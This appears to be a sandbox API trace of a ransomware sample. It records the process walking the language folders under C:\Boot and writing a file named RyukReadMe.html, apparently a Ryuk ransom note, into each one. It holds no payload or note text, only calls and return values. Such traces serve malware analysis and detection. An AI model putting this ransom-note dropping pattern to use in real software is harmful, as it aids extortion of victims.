	[0244.828] WriteFile (in: hFile=0x35c, lpBuffer=0x13f46dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x193138, lpOverlapped=0x0 | out: lpBuffer=0x13f46dfb0*, lpNumberOfBytesWritten=0x193138*=0x273, lpOverlapped=0x0) returned 1
	[0244.830] CloseHandle (hObject=0x35c) returned 1
	[0244.830] FindFirstFileW (in: lpFileName="C:\\Boot\\cs-CZ\\*.*", lpFindFileData=0x192ac0 | out: lpFindFileData=0x192ac0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef1f0
	[0244.831] FindNextFileW (in: hFindFile=0x3ef1f0, lpFindFileData=0x192ac0 | out: lpFindFileData=0x192ac0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0244.831] FindNextFileW (in: hFindFile=0x3ef1f0, lpFindFileData=0x192ac0 | out: lpFindFileData=0x192ac0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0244.831] FindNextFileW (in: hFindFile=0x3ef1f0, lpFindFileData=0x192ac0 | out: lpFindFileData=0x192ac0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0244.831] FindClose (in: hFindFile=0x3ef1f0 | out: hFindFile=0x3ef1f0) returned 1
	[0244.831] SetLastError (dwErrCode=0x0) 
	[0244.831] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\RyukReadMe.html" (normalized: "c:\\boot\\cs-cz\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x35c
	[0244.832] GetLastError () returned 0x0
	[0244.832] WriteFile (in: hFile=0x35c, lpBuffer=0x13f46dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x193138, lpOverlapped=0x0 | out: lpBuffer=0x13f46dfb0*, lpNumberOfBytesWritten=0x193138*=0x273, lpOverlapped=0x0) returned 1
	[0244.834] CloseHandle (hObject=0x35c) returned 1
	[0244.834] FindNextFileW (in: hFindFile=0x3ef0d0, lpFindFileData=0x1931f0 | out: lpFindFileData=0x1931f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1
	[0244.834] SetLastError (dwErrCode=0x0) 
	[0244.834] CreateFileW (lpFileName="C:\\Boot\\RyukReadMe.html" (normalized: "c:\\boot\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x35c
	[0244.835] GetLastError () returned 0xb7
	[0244.835] CloseHandle (hObject=0x35c) returned 1
	[0244.835] FindFirstFileW (in: lpFileName="C:\\Boot\\da-DK\\*.*", lpFindFileData=0x192ac0 | out: lpFindFileData=0x192ac0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef1f0
	[0244.835] FindNextFileW (in: hFindFile=0x3ef1f0, lpFindFileData=0x192ac0 | out: lpFindFileData=0x192ac0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0244.835] FindNextFileW (in: hFindFile=0x3ef1f0, lpFindFileData=0x192ac0 | out: lpFindFileData=0x192ac0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0244.835] FindNextFileW (in: hFindFile=0x3ef1f0, lpFindFileData=0x192ac0 | out: lpFindFileData=0x192ac0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0244.835] FindClose (in: hFindFile=0x3ef1f0 | out: hFindFile=0x3ef1f0) returned 1
	[0244.835] SetLastError (dwErrCode=0x0) 
	[0244.836] CreateFileW (lpFileName="C:\\Boot\\da-DK\\RyukReadMe.html" (normalized: "c:\\boot\\da-dk\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x35c
	[0244.836] GetLastError () returned 0x0
	[0244.836] WriteFile (in: hFile=0x35c, lpBuffer=0x13f46dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x193138, lpOverlapped=0x0 | out: lpBuffer=0x13f46dfb0*, lpNumberOfBytesWritten=0x193138*=0x273, lpOverlapped=0x0) returned 1
	[0244.838] CloseHandle (hObject=0x35c) returned 1
	[0244.838] FindNextFileW (in: hFindFile=0x3ef0d0, lpFindFileData=0x1931f0 | out: lpFindFileData=0x1931f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1
	[0244.838] SetLastError (dwErrCode=0x0) 
	[0244.838] CreateFileW (lpFileName="C:\\Boot\\RyukReadMe.html" (normalized: "c:\\boot\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x35c
	[0244.839] GetLastError () returned 0xb7
	[0244.839] CloseHandle (hObject=0x35c) returned 1
	[0244.839] FindFirstFileW (in: lpFileName="C:\\Boot\\de-DE\\*.*", lpFindFileData=0x192ac0 | out: lpFindFileData=0x192ac0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef1f0
	[0244.839] FindNextFileW (in: hFindFile=0x3ef1f0, lpFindFileData=0x192ac0 | out: lpFindFileData=0x192ac0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0244.839] FindNextFileW (in: hFindFile=0x3ef1f0, lpFindFileData=0x192ac0 | out: lpFindFileData=0x192ac0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0244.839] FindNextFileW (in: hFindFile=0x3ef1f0, lpFindFileData=0x192ac0 | out: lpFindFileData=0x192ac0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0244.839] FindClose (in: hFindFile=0x3ef1f0 | out: hFindFile=0x3ef1f0) returned 1
	[0244.839] SetLastError (dwErrCode=0x0) 
	[0244.840] CreateFileW (lpFileName="C:\\Boot\\de-DE\\RyukReadMe.html" (normalized: "c:\\boot\\de-de\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x35c
	[0244.840] GetLastError () returned 0x0
	[0244.840] WriteFile (in: hFile=0x35c, lpBuffer=0x13f46dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x193138, lpOverlapped=0x0 | out: lpBuffer=0x13f46dfb0*, lpNumberOfBytesWritten=0x193138*=0x273, lpOverlapped=0x0) returned 1
	[0244.842] CloseHandle (hObject=0x35c) returned 1
	[0244.842] FindNextFileW (in: hFindFile=0x3ef0d0, lpFindFileData=0x1931f0 | out: lpFindFileData=0x1931f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1
	[0244.842] SetLastError (dwErrCode=0x0) 
	[0244.842] CreateFileW (lpFileName="C:\\Boot\\RyukReadMe.html" (normalized: "c:\\boot\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x35c
	[0244.842] GetLastError () returned 0xb7
	[0244.842] CloseHandle (hObject=0x35c) returned 1
	[0244.843] FindFirstFileW (in: lpFileName="C:\\Boot\\el-GR\\*.*", lpFindFileData=0x192ac0 | out: lpFindFileData=0x192ac0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef1f0
	[0244.843] FindNextFileW (in: hFindFile=0x3ef1f0, lpFindFileData=0x192ac0 | out: lpFindFileData=0x192ac0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0244.843] FindNextFileW (in: hFindFile=0x3ef1f0, lpFindFileData=0x192ac0 | out: lpFindFileData=0x192ac0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0244.843] FindNextFileW (in: hFindFile=0x3ef1f0, lpFindFileData=0x192ac0 | out: lpFindFileData=0x192ac0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0244.843] FindClose (in: hFindFile=0x3ef1f0 | out: hFindFile=0x3ef1f0) returned 1
	[0244.843] SetLastError (dwErrCode=0x0) 
	[0244.843] CreateFileW (lpFileName="C:\\Boot\\el-GR\\RyukReadMe.html" (normalized: "c:\\boot\\el-gr\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x35c
	[0244.844] GetLastError () returned 0x0
	[0244.844] WriteFile (in: hFile=0x35c, lpBuffer=0x13f46dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x193138, lpOverlapped=0x0 | out: lpBuffer=0x13f46dfb0*, lpNumberOfBytesWritten=0x193138*=0x273, lpOverlapped=0x0) returned 1
	[0244.846] CloseHandle (hObject=0x35c) returned 1
	[0244.846] FindNextFileW (in: hFindFile=0x3ef0d0, lpFindFileData=0x1931f0 | out: lpFindFileData=0x1931f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0244.846] SetLastError (dwErrCode=0x0) 
	[0244.846] CreateFileW (lpFileName="C:\\Boot\\RyukReadMe.html" (normalized: "c:\\boot\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x35c
	[0244.846] GetLastError () returned 0xb7
	[0244.846] CloseHandle (hObject=0x35c) returned 1
	[0244.846] FindFirstFileW (in: lpFileName="C:\\Boot\\en-US\\*.*", lpFindFileData=0x192ac0 | out: lpFindFileData=0x192ac0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef1f0
	[0244.847] FindNextFileW (in: hFindFile=0x3ef1f0, lpFindFileData=0x192ac0 | out: lpFindFileData=0x192ac0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0244.847] FindNextFileW (in: hFindFile=0x3ef1f0, lpFindFileData=0x192ac0 | out: lpFindFileData=0x192ac0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14c40, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0244.847] FindNextFileW (in: hFindFile=0x3ef1f0, lpFindFileData=0x192ac0 | out: lpFindFileData=0x192ac0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0x2e, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0244.847] FindNextFileW (in: hFindFile=0x3ef1f0, lpFindFileData=0x192ac0 | out: lpFindFileData=0x192ac0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0x2e, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0244.847] FindClose (in: hFindFile=0x3ef1f0 | out: hFindFile=0x3ef1f0) returned 1
	[0244.847] SetLastError (dwErrCode=0x0) 
	[0244.847] CreateFileW (lpFileName="C:\\Boot\\en-US\\RyukReadMe.html" (normalized: "c:\\boot\\en-us\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x35c
	[0244.848] GetLastError () returned 0x0
	[0244.848] WriteFile (in: hFile=0x35c, lpBuffer=0x13f46dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x193138, lpOverlapped=0x0 | out: lpBuffer=0x13f46dfb0*, lpNumberOfBytesWritten=0x193138*=0x273, lpOverlapped=0x0) returned 1
	[0244.850] CloseHandle (hObject=0x35c) returned 1
	[0244.850] FindNextFileW (in: hFindFile=0x3ef0d0, lpFindFileData=0x1931f0 | out: lpFindFileData=0x1931f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1
	[0244.850] SetLastError (dwErrCode=0x0) 
	[0244.850] CreateFileW (lpFileName="C:\\Boot\\RyukReadMe.html" (normalized: "c:\\boot\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x35c
	[0244.850] GetLastError () returned 0xb7
	[0244.850] CloseHandle (hObject=0x35c) returned 1
	[0244.850] FindFirstFileW (in: lpFileName="C:\\Boot\\es-ES\\*.*", lpFindFileData=0x192ac0 | out: lpFindFileData=0x192ac0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef1f0
	[0244.851] FindNextFileW (in: hFindFile=0x3ef1f0, lpFindFileData=0x192ac0 | out: lpFindFileData=0x192ac0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0244.851] FindNextFileW (in: hFindFile=0x3ef1f0, lpFindFileData=0x192ac0 | out: lpFindFileData=0x192ac0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0244.851] FindNextFileW (in: hFindFile=0x3ef1f0, lpFindFileData=0x192ac0 | out: lpFindFileData=0x192ac0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0244.851] FindClose (in: hFindFile=0x3ef1f0 | out: hFindFile=0x3ef1f0) returned 1
	[0244.851] SetLastError (dwErrCode=0x0) 
	[0244.851] CreateFileW (lpFileName="C:\\Boot\\es-ES\\RyukReadMe.html" (normalized: "c:\\boot\\es-es\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x35c
	[0244.851] GetLastError () returned 0x0
	[0244.851] WriteFile (in: hFile=0x35c, lpBuffer=0x13f46dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x193138, lpOverlapped=0x0 | out: lpBuffer=0x13f46dfb0*, lpNumberOfBytesWritten=0x193138*=0x273, lpOverlapped=0x0) returned 1
	[0244.853] CloseHandle (hObject=0x35c) returned 1
	[0244.854] FindNextFileW (in: hFindFile=0x3ef0d0, lpFindFileData=0x1931f0 | out: lpFindFileData=0x1931f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1
	[0244.854] SetLastError (dwErrCode=0x0) 
	[0244.854] CreateFileW (lpFileName="C:\\Boot\\RyukReadMe.html" (normalized: "c:\\boot\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x35c
	[0244.854] GetLastError () returned 0xb7
	[0244.854] CloseHandle (hObject=0x35c) returned 1
	[0244.854] FindFirstFileW (in: lpFileName="C:\\Boot\\fi-FI\\*.*", lpFindFileData=0x192ac0 | out: lpFindFileData=0x192ac0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef1f0
	[0244.854] FindNextFileW (in: hFindFile=0x3ef1f0, lpFindFileData=0x192ac0 | out: lpFindFileData=0x192ac0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
